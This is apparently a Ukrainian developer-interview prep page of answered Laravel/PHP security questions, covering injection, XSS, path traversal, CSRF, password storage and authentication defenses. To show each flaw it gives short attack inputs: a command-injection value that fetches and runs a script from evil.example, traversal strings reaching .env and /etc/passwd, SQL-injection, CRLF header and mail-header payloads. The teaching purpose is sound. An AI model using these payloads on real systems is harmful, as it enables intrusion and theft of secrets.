Увійти Реєстрація
Вакансії
Вакансії Laravel Компанії Статистика
Підготовка
Як підготуватися Співбесіди Тестування Документація
Блог
Всі статті Серії
Екосистема
Пакети Ресурси Проєкти Інструменти Події Відео
Інше
Про нас Реклама

Питання на співбесіді з Безпека

Питання з реальних співбесід з відповідями: Laravel і PHP, бази даних, JavaScript і фронтенд, Git, Docker, API, безпека й архітектура. Тими самими темами, що й тести.

103 питань

XSS (Cross-Site Scripting) - вразливість, за якої нападник змушує сайт показати іншим користувачам свій JavaScript. Скрипт виконується в браузері жертви з правами вашого сайту: читає дані сторінки, робить запити від імені користувача, підміняє форми, краде токени з localStorage.

Три види:

  • Збережений (stored) - шкідливий код зберігається на сервері: коментар, ім'я профілю, опис товару. Спрацьовує в кожного, хто відкриє сторінку. Найнебезпечніший.
  • Відображений (reflected) - код приходить у параметрі запиту й одразу виводиться у відповіді: /search?q=<script>...</script>. Жертву треба змусити перейти за посиланням.
  • DOM-based - вразливість повністю в клієнтському JavaScript: скрипт бере дані з location.hash чи URL і вставляє через innerHTML, сервер навіть не бачить шкідливого вмісту.

Основний захист - екранування при виведенні відповідно до контексту:

{{ $comment->body }}      {{-- Blade екранує HTML автоматично --}}
{!! $comment->body !!}    {{-- небезпечно для даних користувача --}}

Додаткові рівні:

  • textContent замість innerHTML у JavaScript;
  • санітайзер (HTML Purifier, DOMPurify), якщо HTML від користувача справді потрібен;
  • Content Security Policy, що забороняє інлайнові скрипти;
  • cookie сесії з HttpOnly - XSS не зможе її прочитати (хоча робити запити від імені користувача все одно зможе).

Контексти мають значення: екранування для HTML не захищає значення в атрибуті href (javascript:alert(1)), усередині <script> чи CSS. Для кожного контексту - свої правила.

Докладніше в документації: OWASP: Cross Site Scripting

SQL-ін'єкція - коли дані від користувача потрапляють у текст SQL-запиту й змінюють його структуру.

// Вразливо
$sql = "SELECT * FROM users WHERE email = '" . $_GET['email'] . "'";
// email = ' OR '1'='1  →  WHERE email = '' OR '1'='1'  → усі користувачі

Наслідки - від читання чужих даних і обходу входу до видалення таблиць і, в окремих конфігураціях, виконання команд на сервері.

Захист - підготовлені запити (prepared statements): структура запиту й дані передаються в базу окремо. База спершу розбирає SQL із заповнювачами, а значення підставляє вже як дані - вони не можуть стати частиною синтаксису.

$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ?');
$stmt->execute([$email]);

User::where('email', $email)->first();   // Eloquent і Query Builder роблять те саме

Де помиляються навіть з ORM:

  • Сирі вирази з конкатенацією: whereRaw("email = '$email'"), DB::select("... $id"). Сирий SQL - лише з прив'язками: whereRaw('lower(email) = ?', [$email]).
  • Імена колонок і напрямок сортування не можна передати заповнювачем. orderBy($request->input('sort')) - звіряти з білим списком дозволених значень.
  • LIKE - заповнювач захищає від ін'єкції, але % і _ у введенні все одно працюють як шаблони; їх треба екранувати, якщо це важливо.

Додатково: користувач бази для застосунку з мінімальними правами (без DROP, без доступу до чужих баз) - щоб навіть успішна ін'єкція мала обмежені наслідки.

Докладніше в документації: OWASP: запобігання SQL-ін'єкціям

Ін'єкція команд - дані від користувача потрапляють у рядок, який виконує командна оболонка (shell). Оболонка інтерпретує спецсимволи (;, &&, |, `, $()), і зловмисник дописує власну команду.

// вразливо
$file = $request->input('file');
exec("convert uploads/{$file} -resize 200x200 thumbs/{$file}");
// file = "a.jpg; curl https://evil.example/s.sh | sh"

Наслідок - виконання довільних команд з правами вебсервера: читання .env, встановлення бекдору, доступ до бази.

Захист - у порядку пріоритету:

1. Не викликати shell, якщо є бібліотека. Замість convert - Intervention Image/Imagick, замість curl - HTTP-клієнт, замість zip - ZipArchive.

2. Передавати команду масивом аргументів - тоді оболонка не залучається взагалі, і спецсимволи не мають значення:

use Illuminate\Support\Facades\Process;

Process::run(['convert', "uploads/{$file}", '-resize', '200x200', "thumbs/{$file}"]);

Symfony Process і Laravel Process з масивом передають аргументи програмі напряму. Рядок (Process::run("convert ...")) знову йде через shell.

3. Якщо рядок неминучий - кожен аргумент через escapeshellarg():

exec('convert ' . escapeshellarg($path) . ' ...');

4. Білий список значень для всього, що можна обмежити (формат, розмір, назва операції), і перевірка, що шлях лежить у дозволеному каталозі.

Пастка - ін'єкція аргументів. Навіть без shell значення, що починається з -, програма сприйме як опцію: файл з назвою --output=/var/www/public/shell.php чи -o.... Захист - роздільник -- перед позиційними аргументами (якщо програма його підтримує) і перевірка формату значень.

Додатково:

  • функції exec, system, passthru, shell_exec і proc_open можна вимкнути в disable_functions, якщо застосунку вони не потрібні;
  • процес вебсервера - з мінімальними правами в системі;
  • назви завантажених файлів не використовувати в командах і шляхах - генерувати власні.

Докладніше в документації: OWASP: захист від ін'єкції команд ОС

Обхід шляху - назва файлу від користувача містить ../ і виводить за межі дозволеного каталогу:

// вразливо
Route::get('/download', function (Request $request) {
    return response()->download(storage_path('app/invoices/' . $request->query('file')));
});
// file=../../.env  →  storage/app/invoices/../../.env  →  .env застосунку

Так читають .env (ключі, паролі бази), конфігурацію, вихідний код, системні файли. У поєднанні із записом файлів (розпакування архівів, збереження за назвою від користувача) - перезапис коду й виконання команд.

Варіанти атаки, які наївна перевірка пропускає:

  • закодовані послідовності: %2e%2e%2f, подвійне кодування %252e;
  • зворотні слеші на Windows: ..\..\;
  • абсолютні шляхи: /etc/passwd;
  • Zip Slip: архів з файлом ../../public/shell.php - під час розпакування він опиниться поза цільовим каталогом.

Захист:

1. Не приймати шлях від користувача взагалі. Найкраще - ідентифікатор запису в базі, а шлях до файлу береться з бази:

Route::get('/invoices/{invoice}/download', function (Invoice $invoice) {
    Gate::authorize('view', $invoice);
    return Storage::disk('invoices')->download($invoice->path);
});

Заодно це вирішує й авторизацію: користувач отримує лише свій файл.

2. Якщо назва з запиту неминуча - лише ім'я файлу без каталогів і білий список символів:

$name = basename($request->query('file'));
abort_unless(preg_match('/^[a-z0-9_-]+\.pdf$/i', $name), 404);

3. Перевірка канонічного шляху:

$base = realpath(storage_path('app/invoices'));
$path = realpath($base . DIRECTORY_SEPARATOR . $name);
abort_unless($path !== false && str_starts_with($path, $base . DIRECTORY_SEPARATOR), 404);

4. Розпакування архівів - перевіряти кожен шлях усередині до запису.

Laravel Storage нормалізує шляхи й не дає вийти за корінь диска через ../ (Flysystem кидає виняток для шляхів за межами кореня). Але це не замінює перевірку прав: файл іншого користувача всередині того самого диска - вже не path traversal, а помилка авторизації.

Докладніше в документації: OWASP: Path Traversal

У HTTP і в заголовках листів рядки розділяються символами CR LF (\r\n). Якщо дані користувача потрапляють у заголовок без перевірки, зловмисник вставляє \r\n і додає власні заголовки або навіть тіло відповіді.

У відповідях HTTP:

// вразливо при «сирому» формуванні заголовків
header('Location: /profile?lang=' . $_GET['lang']);
// lang = "uk\r\nSet-Cookie: session=attacker"

Наслідки - встановлення cookie жертві (фіксація сесії), підробка заголовків, у крайньому разі «розщеплення відповіді» (response splitting) з власним HTML.

Сучасний PHP уже захищає функцію header(): вона відхиляє значення з переносом рядка і видає попередження. Symfony/Laravel Response теж не дозволяє переносів у заголовках. Тому в сучасних застосунках проблема виникає рідше, але трапляється:

  • у власних обгортках над сокетами, проксі, генерації сирих відповідей;
  • у логах: перенос рядка у введенні дозволяє дописати фальшивий рядок журналу (log injection) - заплутати розслідування інциденту.

У листах - класична ін'єкція заголовків пошти: форма зворотного зв'язку бере email відправника в заголовок:

email = "user@example.com\r\nBcc: spam1@example.com, spam2@example.com"

Сервер стає розсильником спаму від вашого домену - а домен потрапляє в чорні списки.

Захист:

  • валідувати значення, що йдуть у заголовки: email - правилом email, мова - білим списком;
  • використовувати бібліотеки, що формують заголовки самі: Laravel Mail (Symfony Mailer) кодує й перевіряє адреси й теми, не дозволяючи переносів;
  • відправник листа - ваша адреса, а email користувача - у Reply-To після валідації, а не в From;
  • логи у структурованому форматі (JSON) - переноси рядків екрануються автоматично;
  • ніколи не будувати заголовки конкатенацією з сирих даних - навіть у «внутрішніх» скриптах.

Загальний принцип ін'єкцій: щоразу, коли дані вставляються в текст, який інша система розбирає (SQL, shell, HTML, заголовки, логи), потрібне кодування під цей конкретний формат або API, що розділяє код і дані.

Докладніше в документації: OWASP: CRLF Injection

Паролі ніколи не зберігають у відкритому вигляді чи зашифрованими - лише як хеш спеціальної повільної функції з сіллю.

Чому не шифрування: зашифроване можна розшифрувати. Хто отримав ключ разом з базою, отримав усі паролі. Хеш - односторонній: навіть сервер не знає пароля, лише вміє перевірити.

Чому не md5/sha256: вони створені швидкими. Сучасна відеокарта перебирає мільярди хешів SHA-256 за секунду, тож витеклу базу з простими паролями підбирають за години.

Правильні функції - навмисно повільні й налаштовувані:

  • Argon2id - рекомендований вибір;
  • bcrypt - перевірений, широко підтримуваний (обмеження: використовує лише перші 72 байти пароля).
$hash = password_hash($password, PASSWORD_ARGON2ID);   // або PASSWORD_DEFAULT (bcrypt)

if (password_verify($input, $hash)) {
    // вхід
}

Hash::make($password);      // Laravel: bcrypt за замовчуванням, налаштовується
Hash::check($input, $hash);

Сіль - випадкове значення, унікальне для кожного пароля. Вона робить однакові паролі різними хешами й унеможливлює готові таблиці (rainbow tables). password_hash генерує сіль сам і зберігає її в рядку хешу - окрема колонка не потрібна.

Ще правила:

  • Перехешування при вході (password_needs_rehash, у Laravel - автоматично), коли збільшується вартість чи змінюється алгоритм.
  • Ліміт спроб входу, щоб онлайн-перебір був непрактичним.
  • Перевірка на злиті паролі (Have I Been Pwned, правило Password::uncompromised() у Laravel) замість вимог «велика літера + цифра + символ».

Докладніше в документації: OWASP: зберігання паролів

Cookie сесії - фактично ключ до облікового запису. Атрибути визначають, хто й коли може його отримати:

  • HttpOnly - cookie недоступна з JavaScript (document.cookie). XSS не зможе її вкрасти. Для cookie сесії - обов'язково.
  • Secure - cookie передається лише по HTTPS. Без нього її можна перехопити в незашифрованому з'єднанні.
  • SameSite - чи надсилати cookie в запитах з інших сайтів:
    • Lax (Chromium застосовує його до cookie без атрибута, але покладатися на це не варто - ставте явно) - так при звичайних переходах за посиланням, ні - у міжсайтових POST, fetch, iframe. Добрий захист від CSRF.
    • Strict - ніколи в міжсайтових запитах. Безпечніше, але користувач, що перейшов за посиланням з пошти, опиниться незалогіненим.
    • None - завжди (лише разом із Secure). Потрібно для вбудованих віджетів і SSO між різними доменами.
  • Domain - без нього cookie належить лише точному хосту. Domain=example.com відкриває її всім піддоменам, зокрема менш захищеним.
  • Path, Max-Age / Expires - область і термін дії.
Set-Cookie: session=abc123; Path=/; HttpOnly; Secure; SameSite=Lax

Префікси назв - додатковий захист, який перевіряє сам браузер:

  • __Host-session - лише з Secure, без Domain, з Path=/: cookie не може встановити чи перезаписати піддомен.
  • __Secure- - лише з Secure.

У Laravel це налаштовується в config/session.php: secure (SESSION_SECURE_COOKIE=true на проді), http_only, same_site, domain. Cookie застосунку ще й шифруються, тож їхній вміст не прочитати й не підробити без APP_KEY.

Докладніше в документації: HTTP cookies

Багатофакторна автентифікація (MFA) - вхід вимагає доказів з різних категорій:

  • те, що ви знаєте - пароль, PIN;
  • те, що ви маєте - телефон із застосунком, апаратний ключ;
  • те, чим ви є - відбиток пальця, обличчя (зазвичай як розблокування пристрою).

Два паролі - не два фактори: обидва з однієї категорії й крадуться однаково.

Навіщо: паролі масово витікають і повторно використовуються. З другим фактором викрадений пароль сам по собі не дає доступу. За даними великих провайдерів, MFA зупиняє переважну більшість автоматизованих атак на облікові записи.

Види другого фактора - від слабшого до сильнішого:

  • SMS-коди - краще, ніж нічого, але вразливі: перевипуск SIM-картки (SIM swap) через оператора, перехоплення, фішинг коду;
  • email-коди - залежать від безпеки пошти;
  • TOTP (Google Authenticator, 1Password, Authy) - код з 6 цифр, що змінюється кожні 30 секунд. Обчислюється на пристрої з спільного секрету й поточного часу (RFC 6238) - не передається мережею, не залежить від оператора;
  • push-підтвердження - зручно, але вразливе до «втоми від сповіщень» (зловмисник надсилає десятки запитів, поки користувач не натисне «Так»). Захист - введення числа з екрана входу;
  • апаратні ключі й passkeys (WebAuthn) - стійкі до фішингу, бо прив'язані до домену сайту.

Чому TOTP кращий за SMS: код генерується локально, його не можна отримати через оператора; працює без мережі. Але TOTP не захищає від фішингу: фальшивий сайт попросить і пароль, і поточний код, і миттєво використає їх.

Обов'язкові частини реалізації:

  • резервні коди на випадок втрати телефону - одноразові, зберігаються хешованими;
  • захищене відновлення доступу - найслабше місце MFA: якщо «втратив телефон» вирішується одним листом, атакують саме його;
  • обмеження спроб введення коду (6 цифр - лише мільйон варіантів);
  • код діє один раз у своєму вікні часу;
  • повторне підтвердження перед вимкненням MFA чи зміною пошти.

У Laravel двофакторна автентифікація з TOTP і резервними кодами є в Laravel Fortify і стартових наборах.

Докладніше в документації: OWASP: багатофакторна автентифікація

Дві різні атаки на вхід:

  • перебір (brute force) - багато паролів для одного облікового запису;
  • credential stuffing - пари «email + пароль» з витоків інших сайтів перевіряються на вашому. Працює, бо люди повторюють паролі. Спроб на один обліковий запис мало - тож простий ліміт на обліковий запис цю атаку не бачить.

Захист - кілька шарів:

1. Обмеження частоти - за комбінацією облікового запису й IP і окремо за IP:

RateLimiter::for('login', fn (Request $request) => [
    Limit::perMinute(5)->by(Str::lower($request->input('email')).'|'.$request->ip()),
    Limit::perMinute(30)->by($request->ip()),
]);

Laravel Fortify і стартові набори вже обмежують спроби входу.

2. Багатофакторна автентифікація - найефективніший захист від обох атак: правильний пароль без другого фактора нічого не дає.

3. Заборона скомпрометованих паролів при реєстрації й зміні пароля:

'password' => ['required', 'confirmed', Password::min(12)->uncompromised()],

uncompromised() перевіряє пароль у базі витоків Have I Been Pwned методом k-анонімності: на сервіс надсилаються лише перші 5 символів SHA-1-хешу, а не сам пароль.

4. Виявлення аномалій: вхід з нової країни чи пристрою - сповіщення користувачу, додаткова перевірка.

5. CAPTCHA чи невидимі перевірки (Cloudflare Turnstile) - після кількох невдач чи при підозрілому трафіку, а не завжди.

6. Захист на рівні мережі: WAF, ліміти на CDN, блокування відомих ботнетів.

Чого уникати:

  • постійне блокування облікового запису після N невдач - зловмисник легко заблокує будь-кого (DoS для користувачів). Краще тимчасові затримки й CAPTCHA;
  • різні повідомлення «невірний пароль» і «користувача не знайдено» - це перелік зареєстрованих email;
  • ліміт лише за IP - атакують через тисячі адрес;
  • ліміт лише за обліковим записом - credential stuffing його не досягає.

Моніторинг: різке зростання невдалих входів з різних IP на різні облікові записи - ознака credential stuffing, потрібна реакція (посилені перевірки, повідомлення користувачам).

Докладніше в документації: OWASP: запобігання credential stuffing

Перелік облікових записів - можливість дізнатися, чи зареєстрована певна адреса email (чи логін) у системі. Сама по собі це не злам, але:

  • полегшує атаки: зловмисник перебирає паролі лише для існуючих облікових записів, а фішинг цілить у справжніх клієнтів;
  • розкриває приватну інформацію: сам факт облікового запису на медичному, юридичному чи дейтинговому сервісі - чутливі дані.

Де це протікає:

1. Повідомлення входу:

«Користувача з таким email не знайдено»    ← протікає
«Невірний пароль»                          ← протікає
«Невірний email або пароль»                ← правильно

2. Скидання пароля:

«Лист надіслано» / «Такого email немає»                       ← протікає
«Якщо обліковий запис існує, ми надіслали інструкції на email»  ← правильно

3. Реєстрація: «Email уже зайнятий» - складніше уникнути, бо користувачу треба знати, що він уже зареєстрований. Варіант - завжди відповідати «Перевірте пошту», а існуючому користувачу надіслати лист «Ви вже маєте обліковий запис, ось посилання на вхід».

4. Час відповіді. Навіть з однаковими повідомленнями: якщо для неіснуючого користувача сервер відповідає за 5 мс, а для існуючого - 300 мс (бо перевіряє хеш bcrypt), час видає правду. Захист - виконувати перевірку хешу завжди (з фіктивним хешем, якщо користувача немає) і відправляти листи асинхронно з черги, щоб час відповіді на скидання пароля не залежав від того, чи надсилається лист.

5. API й публічні профілі: GET /api/users/check-email?email=... для «живої» перевірки в формі, профілі за передбачуваними URL.

Компроміс зручності й безпеки. Повністю прибрати перелік часто неможливо без погіршення UX (реєстрація, вхід через телефон). Тоді важливо обмежити частоту запитів, що його дозволяють, - щоб перевірка тисяч адрес займала роки.

У Laravel: стандартний ValidationException з auth.failed дає загальне повідомлення, а Password::sendResetLink повертає статус, який варто показувати однаково для всіх випадків. Fortify за замовчуванням дотримується цих правил, але власні контролери варто перевірити.

Докладніше в документації: OWASP: шпаргалка з автентифікації

{{ $value }} - виводить значення з екрануванням HTML (через htmlspecialchars). Символи <, >, ", ', & стають сутностями, і рядок <script> показується як текст.

<p>{{ $comment->body }}</p>   {{-- безпечно --}}

{!! $value !!} - виводить як є, без екранування:

<div>{!! $comment->body !!}</div>   {{-- XSS, якщо body від користувача --}}

Доречно лише для HTML, який згенеровано вашим кодом чи пройшов санітизацію (наприклад, Markdown, перетворений у HTML з білим списком тегів).

Де екранування {{ }} не допомагає:

1. Атрибути з URL:

<a href="{{ $user->website }}">Сайт</a>

Значення екрановане, але javascript:alert(1) - валідний URL без жодного спецсимволу HTML. Посилання з даних користувача треба перевіряти на схему (http/https).

2. Всередині <script>:

<script>
    const name = '{{ $user->name }}';   {{-- ламається на лапках і переносах рядків --}}
</script>

Екранування для HTML не те саме, що для JavaScript. Для передачі даних у скрипт - Js::from() чи @js:

<script>
    const user = {{ Js::from($user->only('id', 'name')) }};
</script>

<div x-data="{ settings: @js($settings) }">

Js::from кодує значення в JSON з екрануванням, безпечним для вставки в HTML.

3. Атрибути подій і стилі: onclick="{{ ... }}", style="{{ ... }}" - контексти JavaScript і CSS. Дані користувача туди не вставляти.

4. Компоненти, що самі вставляють HTML: {!! $slot !!} у власних компонентах, ->toHtml(), HtmlString - обходять екранування.

Подвійне кодування: {{ }} за замовчуванням не кодує вже закодовані сутності двічі (&amp; лишиться &amp;); Blade::withoutDoubleEncoding() керує цим.

Правило для рев'ю коду: кожен {!! !!} має бути обґрунтований - звідки береться HTML і хто гарантує, що він безпечний.

Докладніше в документації: Laravel: виведення даних у Blade

Масове призначення - заповнення моделі масивом: User::create($data), $user->update($data), $user->fill($data). Якщо масив прийшов із запиту без фільтрації, користувач може змінити поля, яких у формі немає:

$user->update($request->all());
// POST name=Оля&is_admin=1   →   користувач став адміністратором

$fillable - білий список полів, які можна призначати масово:

class User extends Authenticatable
{
    protected $fillable = ['name', 'email', 'password'];
}

Поля поза списком при масовому призначенні мовчки ігноруються.

$guarded - чорний список: усе, крім указаних. protected $guarded = []; вимикає захист повністю.

Чому $fillable безпечніший: нова колонка в таблиці (is_admin, balance, email_verified_at) за $guarded автоматично стає доступною для масового призначення, а за $fillable - ні, доки її свідомо не додадуть.

Сучасний варіант - атрибути класу:

#[Fillable(['name', 'email', 'password'])]
class User extends Authenticatable {}

Головний захист - не $fillable, а валідація:

$user->update($request->validated());

validated() повертає лише поля, для яких є правила. $fillable - друга лінія оборони на випадок, коли хтось передасть $request->all().

Поля, які змінюються лише за правами (роль, статус модерації, баланс), не повинні бути у $fillable взагалі - їх змінює окремий код з перевіркою прав:

$user->forceFill(['role' => 'editor'])->save();   // явно, у коді адміністратора

Корисна перевірка в розробці:

Model::preventSilentlyDiscardingAttributes(! app()->isProduction());

Тепер спроба масово призначити поле поза $fillable кидає виняток замість мовчазного ігнорування - помилки в коді помітні одразу, а не в продакшені.

Model::unguard() вимикає захист глобально - допустимо в сидерах, але не в коді, що обробляє запити.

Докладніше в документації: Laravel: масове призначення

У режимі налагодження Laravel на будь-яку помилку показує детальну сторінку: повідомлення винятку, стек викликів з файлами й рядками, фрагменти коду, параметри запиту. Для API - те саме в JSON (exception, file, line, trace).

Що з цього отримує зловмисник:

  • шляхи на сервері й структуру коду - де лежить застосунок, які пакети й версії;
  • фрагменти коду навколо помилки - логіку, назви таблиць, іноді секрети в коді;
  • SQL-запити з помилок бази - структуру таблиць і колонок;
  • значення змінних у стеку - залежно від помилки, це можуть бути дані користувачів чи облікові дані.

Помилку викликати легко: некоректний параметр, зайвий символ в URL, неочікуваний тип у JSON. Сканери в інтернеті цілеспрямовано шукають сторінки налагодження Laravel.

Історичний приклад важкості: у старих версіях Ignition (сторінки помилок Laravel) була вразливість, що в режимі налагодження давала виконання коду на сервері (CVE-2021-3129). Режим налагодження на продакшені перетворив її з «теоретичної» на масово експлуатовану.

Правила:

  • APP_DEBUG=false і APP_ENV=production на продакшені - завжди;
  • перевірка при деплої: скрипт розгортання чи health-check, що зупиняється, якщо APP_DEBUG увімкнено в продакшені;
  • php artisan about показує поточний режим;
  • інструменти розробки (Telescope, Debugbar, Horizon, Pulse, Log Viewer) на продакшені - вимкнені або закриті авторизацією (Gate::define('viewTelescope', ...)). Debugbar на продакшені розкриває SQL-запити, сесії й заголовки кожного запиту;
  • сторінки помилок - власні, без деталей (resources/views/errors/500.blade.php), а деталі - в логах і системі моніторингу (Sentry, Flare).

Для налагодження продакшену - логи й моніторинг помилок з контекстом запиту, а не тимчасове ввімкнення APP_DEBUG («на хвилинку» - досить, щоб сканер його помітив).

Пов'язані витоки з тієї ж категорії: доступні через вебсервер .env, .git, storage/logs, phpinfo(). Корінь вебсервера має вказувати на public/, а не на корінь проєкту.

Докладніше в документації: Laravel: режим налагодження

CSRF - сторонній сайт змушує браузер жертви надіслати запит на ваш сайт; браузер додає cookie сесії, і запит виконується від імені користувача.

Як Laravel захищає: middleware групи web (у Laravel 13 - PreventRequestForgery) перевіряє кожен запит, що змінює стан (POST, PUT, PATCH, DELETE). GET, HEAD, OPTIONS не перевіряються - тому вони й не повинні нічого змінювати.

Два способи довести, що запит зі «свого» сайту:

1. Заголовок Sec-Fetch-Site. Сучасні браузери самі додають його до запитів: same-origin, same-site чи cross-site. Підробити його зі стороннього сайту неможливо. Laravel 13 пропускає запит з Sec-Fetch-Site: same-origin без перевірки токена.

2. CSRF-токен - для браузерів і запитів без цього заголовка:

<form method="POST" action="/profile">
    @csrf
    ...
</form>

@csrf додає приховане поле _token. Для JavaScript - заголовок X-CSRF-TOKEN (з мета-тегу) або X-XSRF-TOKEN (з cookie XSRF-TOKEN; axios надсилає його автоматично). Невідповідність - помилка 419.

Налаштування в bootstrap/app.php:

->withMiddleware(function (Middleware $middleware): void {
    $middleware->preventRequestForgery(
        except: ['webhooks/stripe', 'webhooks/github/*'],
        // originOnly: true      - покладатися лише на Sec-Fetch-Site
        // allowSameSite: true   - дозволити запити з піддоменів того ж сайту
    );
})

Коли виключення доречне - запити, що не автентифікуються cookie-сесією:

  • вебхуки від платіжних систем і сервісів - вони не мають вашого токена, а захищаються підписом запиту, який обов'язково перевіряти;
  • маршрути API з автентифікацією токеном (routes/api.php і так не в групі web).

Коли виключення - помилка:

  • «форма не працює через 419» - майже завжди проблема в тому, що токен не передано чи сесія закінчилася, а не причина вимикати захист;
  • будь-які маршрути, що використовують сесію користувача.

Додатковий шар - SameSite-cookie: сесійна cookie Laravel за замовчуванням SameSite=Lax - браузер не надсилає її у міжсайтових POST-запитах. Це сильно знижує ризик CSRF, але не замінює токен: Lax пропускає навігаційні GET, а старі браузери й піддомени - окремі випадки.

Докладніше в документації: Laravel: захист від CSRF

$request->all() повертає все, що надіслав клієнт: поля форми, параметри запиту, зайві поля, яких у формі немає. Передавати це в модель чи логіку - довіряти клієнту.

$request->validated() (чи результат $request->validate([...])) - лише ті поля, для яких описано правила, і лише після успішної перевірки:

public function update(UpdateProfileRequest $request)
{
    $request->user()->update($request->validated());
}

Зайве поле is_admin=1 у запиті просто не потрапить в update().

$request->safe() - перевірені дані як об'єкт з корисними методами:

$request->safe()->only(['name', 'email']);
$request->safe()->except(['password']);
$request->safe()->merge(['user_id' => $request->user()->id]);

Чому валідація - це безпека, а не лише зручність:

  • типи: integer, string, array, boolean гарантують, що далі код отримає очікуваний тип. JSON може надіслати масив замість рядка чи true замість числа - і код поведеться несподівано (нестрогі порівняння, помилки, обхід перевірок);
  • межі: max для рядків і масивів захищає від мегабайтних полів і масивів на мільйон елементів;
  • білі списки: Rule::in([...]) для статусів, сортування, ролей - значення поза списком не пройдуть;
  • існування й належність: Rule::exists('categories', 'id')->where('team_id', $teamId) - обрана категорія існує й належить команді користувача.

Типові помилки:

  • валідація є, але далі використовується $request->input('field') для поля, якого немає в правилах, - воно не перевірене;
  • $request->only([...]) без валідації - фільтрує поля, але не перевіряє значення;
  • правила sometimes / nullable без required там, де поле обов'язкове для безпеки;
  • валідація лише на фронтенді - запит можна надіслати напряму.

Form Request поєднує валідацію з авторизацією (authorize()) і робить контролер чистим - а validated() у ньому стає звичкою за замовчуванням.

Докладніше в документації: Laravel: робота з перевіреними даними

Питання з реальних технічних співбесід - 103 питання у 7 темах, розібраних із відповідями. Нижче - розбивка за рівнями та темами, якщо хочете звузити підготовку.

Рівні
Junior 35 Middle 37 Senior 31

Готуєтесь до співбесіди не просто так: зараз на сайті 90 відкритих вакансій Laravel і PHP. Переглянути вакансії